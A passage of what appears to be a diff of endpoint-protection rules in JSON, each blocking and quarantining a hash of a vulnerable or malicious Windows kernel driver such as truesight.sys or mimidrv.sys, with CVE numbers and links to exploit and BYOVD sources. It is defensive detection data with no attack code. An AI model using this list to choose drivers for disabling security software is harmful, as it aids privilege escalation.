+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823389Z",
+  "creation_date": "2026-03-23T11:45:31.823393Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823401Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7831ba304ffc9cb1ff0f70a51a255d03acbb8edd801d61f0e0cb11b32da0384",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "019d4dce-e650-5223-90ad-8cea1af256a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828803Z",
+  "creation_date": "2026-03-23T11:45:31.828805Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828810Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3728e8d692093a6111e8c0943e5f11ccff35a6395982dd065c992ac063446cf6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01aa8931-6e43-562b-819d-3e1a96b8e116",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156002Z",
+  "creation_date": "2026-03-23T11:45:31.156004Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156010Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f9df4b81a03df605e808e8f819fc913cb00f2076bb55d187bf97b739c151b81f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01b18d44-e9ac-57d3-bcae-bbadb06812dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153560Z",
+  "creation_date": "2026-03-23T11:45:31.153562Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153567Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "03172eef01698a6d6eae38c6dcd1b0a9b75f8eb312502dd3b9408b62c553c0d9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01b3fb1e-b0ee-5c01-96a3-422380933ded",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470669Z",
+  "creation_date": "2026-03-23T11:45:30.470672Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470681Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b5590995c6bcd39884dceda1e87e8516a3767bce00519ce140a46f1a77666ff",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01ca129a-4d80-51e6-b27c-8cf288301005",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148757Z",
+  "creation_date": "2026-03-23T11:45:31.148759Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148764Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d1170f7dfb5b27022f61c7e56fa74729f4c8721e1740f27f6ed3880a7fe277f0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01d01c70-29b8-555d-b27c-309ad5221a06",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155031Z",
+  "creation_date": "2026-03-23T11:45:31.155033Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155039Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b80d5bc658ec972223838494373244cdbc1e295b6ae48918ce9ac354d035ba4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01d78120-0275-533e-a3d3-ca926cc43d6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143006Z",
+  "creation_date": "2026-03-23T11:45:32.143008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143013Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39f5d351878f7216a69d0330c40e5b2793c6d4d3ee72f0673cf7555ea9dbe86a",
+  "comment": "Vulnerable TfSysMon driver from ThreatFire System Monitor (2013) (aka TfSysMon.sys) [https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01dbefe3-b15d-5b38-8d1c-535f2fd850d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469101Z",
+  "creation_date": "2026-03-23T11:45:30.469105Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469114Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e3e09583b7bba35ef21419bdc711984e8541eb20a29406940727f73cbb5064a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01dc7e0f-5b7c-5791-b9e9-2733c16e6ddb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613478Z",
+  "creation_date": "2026-03-23T11:45:29.613480Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613485Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b6bf2460e023b1005cc60e107b14a3cfdf9284cc378a086d92e5dcdf6e432e2c",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01fbb11e-4043-5052-b7c2-7563b0896683",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978860Z",
+  "creation_date": "2026-03-23T11:45:29.978862Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978867Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93b266f38c3c3eaab475d81597abbd7cc07943035068bb6fd670dbbe15de0131",
+  "comment": "Vulnerable Kernel Driver (aka LgCoreTemp.sys) [https://www.loldrivers.io/drivers/2c3884d3-9e4f-4519-b18b-0969612621bc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02070751-a8b3-5e7f-8262-7d5d55529ecc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471133Z",
+  "creation_date": "2026-03-23T11:45:30.471136Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471145Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6f7acc48d15f334a757a416809eb596d291952cf730a281de4a4423e18dce76",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "020827c1-7773-5550-9c17-86004207bb8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473310Z",
+  "creation_date": "2026-03-23T11:45:30.473313Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473322Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0484defcf1b5afbe573472753dc2395e528608b688e5c7d1d178164e48e7bed7",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0210c95b-1775-5ff8-ade4-b5221e50bc71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157580Z",
+  "creation_date": "2026-03-23T11:45:31.157585Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157595Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6d0c587c704e2ca6feb8626df7817187f319e4677b393bf0b92386b2ac400e29",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02128104-2530-560b-83b0-e6fcc4812cf3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973375Z",
+  "creation_date": "2026-03-23T11:45:29.973377Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973382Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "57ae8d2d962cdde554831415725583fcf4ae5fc844c19983a7c37e31b12109a3",
+  "comment": "Voicemod Sociedad Limitada vulnerable driver (aka vmdrv.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "021a40bf-7f63-5a68-8d55-86b3fe0a68e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480112Z",
+  "creation_date": "2026-03-23T11:45:31.480116Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480126Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "936af11604944176e2ca24f03dd7383f55f2f24a228de72744f2896ac50432ff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "021d2917-c36e-573c-aade-197dc442e200",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486042Z",
+  "creation_date": "2026-03-23T11:45:31.486046Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486056Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f740ededb186a18cc8a6a315a796c73520e48bfbd282d48a734d37e0f2aa295",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "021fbfcf-9010-59e4-b386-b51716734a39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834053Z",
+  "creation_date": "2026-03-23T11:45:30.834057Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834064Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "21b21459993d49b83a44f5dfaa1817f7fada9ae1382b3156b79a10145bb9530a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0225663b-6c52-562c-8485-8dabfe50a324",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968511Z",
+  "creation_date": "2026-03-23T11:45:29.968513Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968518Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14adbf0bc43414a7700e5403100cff7fc6ade50bebfab16a17acf2fdda5a9da8",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "02267224-bcf4-5f48-9cc3-fa2668249be7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830341Z",
+  "creation_date": "2026-03-23T11:45:31.830343Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830348Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6dc7053d15b5c6bf57f53531263e135fbc064237ce2ae163a3072acb89dbf9b5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "022687b1-6e32-5eb5-99a0-caeaef5ed5e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156292Z",
+  "creation_date": "2026-03-23T11:45:31.156293Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156299Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb7775fe2b3c6a82fb5308238b99412e1b8e11c6a48a03f7fed8fb31f5e9b2e5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "022ed932-0fd1-5208-9fd8-629ab48b4ad3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459850Z",
+  "creation_date": "2026-03-23T11:45:30.459853Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459861Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bbf564a02784d53b8006333406807c3539ee4a594585b1f3713325904cb730ec",
+  "comment": "Vulnerable Kernel Driver (aka VBoxMouseNT.sys) [https://www.loldrivers.io/drivers/ecabc507-2cc7-4011-89ab-7d9d659e6f88/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0237524e-2deb-5599-a51e-38fdbafa6c0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823123Z",
+  "creation_date": "2026-03-23T11:45:30.823125Z",
+  "enabled": true,
+  "block_on_agent": true,
